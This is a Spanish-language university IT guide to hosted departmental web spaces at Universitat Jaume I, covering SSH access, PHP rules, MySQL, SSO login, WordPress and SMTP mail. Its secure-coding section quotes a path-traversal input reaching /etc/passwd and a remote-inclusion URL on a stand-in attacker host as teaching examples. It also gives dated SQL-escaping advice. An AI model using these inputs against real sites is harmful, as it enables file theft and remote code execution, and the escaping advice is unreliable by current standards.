ANAR A LA VERSIÓ EN VALENCIÀ


Instrucciones

Los departamentos, centros, institutos, grupos de investigación y otras entidades vinculadas pueden solicitar un espacio cedido a los servidores centrales de la Universidad Jaume I para albergar sus páginas web. Puedes consultar los Criterios de cesión de espacios web y protocolos de actuación frente a incidencias en los Espacios Cedidos de la UJI, y después seguir estas instrucciones.

AVISOS importantes:

  1. Cualquier petición que comporte la modificación de funcionalidades o características así como peticiones de entrega de las credenciales (login/password) de un espacio cedido, la debe solicitar el responsable que realizó el alta del site mediante el CAU y que consta en el registro de espacios cedidos. En caso contrario, la petición se desestimará y no se llevará a efecto.

  2. El Servicio de Informática se reserva el derecho de cerrar el espacio cedido en caso de superar la cuota o usarlo para otros fines no autorizados.

  3. Cada espacio dispondrá de 2GB inicialmente, aunque se podrá solicitar más espacio solicitar más espacio (ver el apartado "Petición de" y elegir la opción "aumentar la cuota de almacenamiento"). También se recuerda que este servidor está dimensionado para alojar contenido relacionado con la publicación web estríctamente (páginas web, bases de datos, etc.) con lo cual, no se puede utilizar para almacenamiento de otros contenidos NO destinados a esta finalidad (copias, aplicaciones, etc).

  4. El Servicio de Informática NO da soporte a scripts (CGI) desarrollados por los propietarios del espacio cedido o por terceros.

  5. Los espacios cedidos no son páginas personales. Para albergar páginas personales dispones de la herramienta Google Sites (sites.google.com) que ofrece de forma fácil y sencilla, múltiples plantillas prediseñadas para realizar tu web personal.

  6. Se tendrá que cumplir con los acuerdos de los Criterios de Cesión de los Espacios Web y las Normas de la Red Informática de la Universitat Jaume I.

  7. Para modificar la clave de acceso accede aquí.

Desde el Servicio de Informática se ha puesto en funcionamiento de un servicio de hosting para albergar los espacios cedidos correspondientes a grupos de investigación, departamentos, servicios y otras entidades vinculadas que necesitan publicar información en la web con carácter propio e independiente de aquella información que aparece en el Portal de la UJI. 

Introducción

Las ventajas principales de usar este servicio son:

Acceso al servidor

Cada espacio cedido dispone de acceso interactivo y transmissión del contenido web (hojas estáticas y programación) mediante SSH.

Estructura de directorios

La estructura de directorios de un espacio cedido es la siguiente. Fuera de estos directorios no se permite la creación, eliminación o modificación de contenido.

Ejecución del software

Sólo se permite la ejecución de scripts en PHP (v8.2), no se podrán ejecutar scripts en perl, python y/o shell script. Aquí hay unos ejemplos en este tipo de lenguaje de programación: 

PHP ( http://www.php.net )

Cuando se programe una aplicación web es muy recomendable seguir estas normas. Se trata de recomendaciones para PHP pero son aplicables a cualquier otro lenguaje de programación.

Inicialización de variables:

Es imprescindible inicializar cada variable que se utilice dentro del script, para que no sea iniciada por terceros invocando la URL del script con GET o POST. Es decir, alguien podría invocar el script enviándole un valor de la variable falso si conoce el nombre de la misma. Considere este fragmento que no inicializa la variable super usuario:

<?php
                 if (comprueba_privilegios()){
                    $superusuario = true;
                 }
                 ...
?>

Recogida de valores: 

Las variables que llegan por el método GET, POST o COOKIE, normalmente son registradas como variables globales, de forma que invocandolas directamente ya tenemos acceso a su valor. Esta es una forma de trabajar no recomendable, ya que podemos caer otra vez en un fallo similar al de antes, con lo cual, tendríamos que recurrir a otros métodos para recoger las variables, tales como $ _GET [ 'super usuario' ] si nos llega por GET, $ _POST [ 'super usuario'] si nos llega por POST, $ _COOKIE [ 'super usuario'] si nos llega en forma de cookie, o $ _REQUEST [ 'super usuario'], que es la forma universal de acceder, cualquiera que sea el método.

Acceso a archivos:

Imaginemos que tenemos una variable $nombre_usuario que contiene el nombre del usuario después de autenticarse en alguna parte, y que queremos cargar un saludo según quien sea de la siguiente forma

<?php
                     include ("/usr/local/lib/salutacions/$nom_usuari");
?>

Alguna mala persona podría pasar con el  $nombre_usuario el valor ../../../../etc/passwd o ../../algun/arxiu/secret/important.txt y acceder al contenido con datos sensibles. Este caso se puede corregir usando la función realpath ($ nombre_usuario) lo cual elimina los .. indeseables. Otro caso podría ser el del siguiente script que hace a la vez pero está codificado así:

<?php
              chdir ("/usr/local/lib/salutacions");
              include ($nom_usuari);
              ...
?>

La misma mala persona podría pasarle al script como valor de $nombre_usuario una URL con código PHP, por ejemplo:

http://www.elmalo.com/codigo_malicioso.php 
(http://www..uji.es/example.php nombre_usuario=http://www.elmalo.com/codigo_malicioso.php), resultando que nuestro script incluye el contenido del script remoto y ejecutando las sentencias malignas. La solución pasa por utilizar las funciones realpath () o basename ().

Otros: 

No usar datos proporcionados por el usuario, normalmente de formularios, como parámetros de funciones como eval(), preg_replace() con la opción /e, o comandos de sistema tales como exec(), system(), popen() , passthru() o el operador `, ya que podría terminar ejecutando órdenes no deseadas en el sistema.

También es especialmente peligroso recoger datos proporcionados por el usuario para confeccionar una sentencia SQL o query. Al repecto deberemos usar las funciones mysql_real_escape_string (), addslashes () y stripslashes (), para eliminar caracteres sensibles que podrían facilitar al desgaste alterar la query.

Más información: 

Libro "Programming PHP", Editorial O'Reilly, Rasmus Lerdorf & Kevin Tatroe, y una documentación completa de las funciones disponibles en este lenguaje de programación, a las siguientes páginas web:

Estadísticas semanales

Todos los espacios cedidos disponen de una página donde se pueden consultar las estadísticas semanales de accesos al espacio cedido. La dirección de acceso a estas estadísticas es la siguiente:

Estas estadísticas nos muestran una relación de accesos web en nuestro espacio, con las siguientes características:

Se puede observar que hay gran cantidad de parámetros, aunque en la mayoría de los casos sólo nos interesarán los siguientes:

También se dispone de la opción de recibir estas estadísticas por correo electrónico. En este caso, debe comunicárnoslo haciendo un comunicado CAU

Base de datos

Se puede hacer uso de una base de datos Mysql (http://www.mysql.com) dentro del espacio cedido. Se puede consultar, insertar, modificar y eliminar la información almacenada en esta base de datos mediante cualquier lenguaje de script de aquellos que hemos comentado antes. Un ejemplo de acceso a la base de datos hecho con PHP podría ser el siguiente:

<html>
 <body>
 <?
  $mysql_id  = mysql_connect("localhost","usuari","password");
  $resultado = mysql_db_query("bd", "select * from profesores", $mysql_id);
  echo "<table border=1 width=40% align=center>";
  while ($reg = mysql_fetch_object($resultado)) {
   echo "<tr>";
    echo "<td>".$reg->nombre."</td>";
    echo "<td>".$reg->despacho."</td>";
    echo "<td>".$reg->telefono."</td>";
    echo "<tr>";
  }
  echo "</table>";
  mysql_close($mysql_id);
 ?>
 </body>
 </html>

Este ejemplo hace una conexión a la base de datos mysql, hace una consulta SQL, y muestra el resultado de la consulta en una tabla HTML. Puede encontrar más información de las funciones de acceso a bases de datos Mysql PHP en esta dirección: http://www.php.net/manual/en/ref.mysql.php

Para gestionar la estructura e información de esta base de datos, también se ofrece un entorno visual de gestión de Bases de Datos MySQL. La URL de acceso a este entorno es la siguiente:

Para acceder a la gestión hay que autenticarse con el usuario y la clave de acceso del sistema.
Para hacer uso de esta base de datos y sus herramientas, debe solicitar el servicio haciendo uso del  CAU.

Autenticación de usuarios de la Universidad Jaume I

Se pone a disposición de cualquier espacio cedido una librería de autenticación para los usuarios de la Universidad (aquellos que tengan cuenta en la misma, no se pueden validar cuentas locales a los espacios cedidos) que nos permite validar el acceso y mantener sesión tanto en el espacio cedido como en el SSO, permitiendo además que el usuario autenticado pueda acceder a otras herramientas integradas (pe e-ujier, aulavirtual, etc). Para hacer uso de la librería, es necesario utilizar el lenguaje de programación PHP y haberlo solicitado:

  1. En el momento de solicitar un nuevo espacio cedido.

  2. Si el espacio ya está creado, se debe realizar un CAU solicitando esta integración.

  3. Hacer uso de HTTPS.

Ejemplo:

<?php           
/**             
 * Ejemplo para autenticar, obtener el nombre de usuario y cerrar
 * la sesión del SSO. El orden es importante, normalmente para usarlo
 * en producción se debería dividir el proceso de log-in del de log-out 
 * en dos script diferentes o tener muy claro cómo funciona lo de abajo.
 */             

require_once "ecedits_ujiauth/lib/Auth.php";
require_once "ecedits_ujiauth/lib/Error.php";

use MewtooEC\AuthSSO\Auth;
use MewtooEC\AuthSSO\Error;
                 
$auth = Auth::getAuth();

if ($_REQUEST['logout']=='1'){
        /**             
         * Importante: quitamos logout=1 o si vuelve después 
         * del logout se queda en un bucle de redirecciones. 
         */             
        $auth->logout($_SERVER['SCRIPT_URI']);
        die();          
}               
                                 
if (!$auth->isAuthenticated()){
        $auth->authenticate();
        die();           
}               

echo "<pre>Nombre de usuario: " . $auth->getUserName() . "</pre>";

Servicio de Blog

Este software se basa en el gestor de blogs llamado WordPress, muy conocido y que podrá encontrar en múltiples lugares. Además, la documentación es muy completa.

La dirección para acceder a la administración de su blog es la misma que la del espacio que habéis pedido, añadiendo al final "/ blog / wp-admin /", por ejemplo:

Las credenciales que ha de usar son las mismas que usará para acceder vía ftp. Para ver las entradas de nuestra bitácora simplemente añadimos "/ blog /" al final de la dirección de nuestro espacio. Por ejemplo:

Envíos de correos

Es necesario para el correcto envío de correos desde la máquina de espacios cedidos que el remitente sea con el dominio @uji.es como por ejemplo no-reply@uji.es. En caso de desear que la dirección de respuesta por parte del destinatario sea diferente a la empleada como remitente puede hacer uso de la cabecera Reply-To.

El envío de correo a través del servidor de correo que tenemos habilidad en la máquina de espacios cedidos se debe hacer de forma autenticada (usuario y contraseña sftp/ssh asociado al espacio cedido) para evitar riesgos de propagación de virus y spam ante un acceso no autorizado a una de las cuentas de los espacios cedidos. El siguiente código fuente expone una función de ejemplo para enviar correo autenticado (usando las credenciales del usuario del espacio cedido):

<?php
 
set_include_path("/usr/share/php/PHPMailer");
 
require_once("PHPMailerAutoload.php");
 
 
function authMail($destino, $tema , $bodymail, $from, $usuario, $passwd) {
 
        $mail = new PHPMailer();
        $mail->IsSMTP();
        $mail->CharSet = 'UTF-8';
 
        $mail->Host       = "localhost";
        $mail->SMTPDebug  = 0;         
        $mail->SMTPAuth   = true;     
        $mail->Port       = 25;      
        $mail->Username   = $usuario;
        $mail->Password   = $passwd;
 
        $mail->From = $from;
        $mail->FromName = $from;
        $mail->addAddress($destino);
        $mail->Subject = $tema;
        $mail->Body = $bodymail;
 
        if(!$mail->send())
        {
            return false;
        }
        else
        {
            return true;
        }
 
}

WordPress

Si has instalado tu la versión de WordPress necesitarás instalar el siguiente plugin pulsando en este enlace, WP Mail SMTP: wordpress.org/extend/plugins/wp-mail-smtp

En la opción "Ajustes", seleccionar "Email". A continuación hay que configurar los datos del servidor SMTP que necesitamos usar. Para poder realizar envíos de correos desde el WordPress utilizando el SMTP de la Universidad Jaume I deberás indicar los siguientes datos de configuración del servidor.

Mailer: Send all WordPress emails via SMTP.
 SMTP Host: localhost
 SMTP Port: 25
 Encryption: No encryption
 Authentication: Yes: Use SMTP authentication
 
 Username: El nombre de usuario que se facilitó al solicitar el espacio cedido.
 Contraseña: La clave que se facilitó al solicitar el espacio cedido.

PHPMailer

Joomla

PHPBB3 (3.2.2.2. Email settings)

Mahara

Moodle

SWIFT

SMF

Drupal